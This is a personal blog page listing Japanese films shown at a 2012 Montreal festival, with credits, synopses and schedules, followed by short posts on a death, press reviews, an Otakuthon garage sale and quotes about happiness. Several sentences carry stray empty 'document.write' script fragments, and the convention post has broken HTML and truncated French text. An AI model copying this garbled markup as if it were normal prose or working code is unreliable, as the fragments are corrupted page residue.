    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

R.I.P. Roger

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Roger Pelletier
1924-2012
R.I.P. cher oncle

Press Review (July)

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Another busy (and tiring) month, document.write(“”); but despite all I still gathered enough scraplinks to share after the jump:
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Otakuthon 2012

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Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /
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The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”http://www.otakuthon.com/&#8221; target=”“new””Otakuthon website/A for details.br /
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I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
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Come meet and discuss with us!br /
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Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!

True intellectuals

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While looking at the two plastic bags that I always carry with me in my backpack (in case I need to wrap stuff; I keep using and reusing them) I realized that they (one bag of SAQ and the other from Archambault) were representing the two staples of true intellectuals: booze and books! (10/30/2010)
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Moaning glory

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I recently read a quote in Readers’ Digest that describes exactly how people feel about my humour:
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“People may claim to hate puns, document.write(“”); but most true word lovers have groaned to like them.”

(Jay Heinrichs, in Word Hero: A fiendishly clever guide to crafting the lines that get laughs, go viral, and live forever, from Three Rivers Press.

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Key to happiness

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I recently read in Readers’ Digest about a celebrity (I’m not sure which one) who was saying:
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“The key to happiness is good health and a bad memory.”

How true! But in fact that person was probably misquoting Rita Mae Brown: “One of the keys to happiness is a bad memory.” Who was herself quoting Ingrid Begman. (Or is it the other way around? Who knows!)

Lots has been said about happiness and I am sure there are no magic recipe, document.write(“”); but I also agree that happiness comes from acceptance and the expression of love (among many things). So: happy, happy, joy, joy!

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Press Review (June)

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I just can’t believe that I am now fifty year-old! If I do feel the increased age, document.write(“”); it’s not really what’s kept me from blogging in the last months, but the fact that I commute nearly three hours each day to get to work, which leave me completely drained (and sometimes even depressed). I fear I won’t produce much as long as I will be stuck in this “commute-work-sleep” (or as we say in french “métro-boulot-dodo”) kind of groundhog-day loop. However, I had been still quietly reading news and stashing links to the most interesting stories for later use and posterity. I am still willing to share them with you after the jump:
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Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

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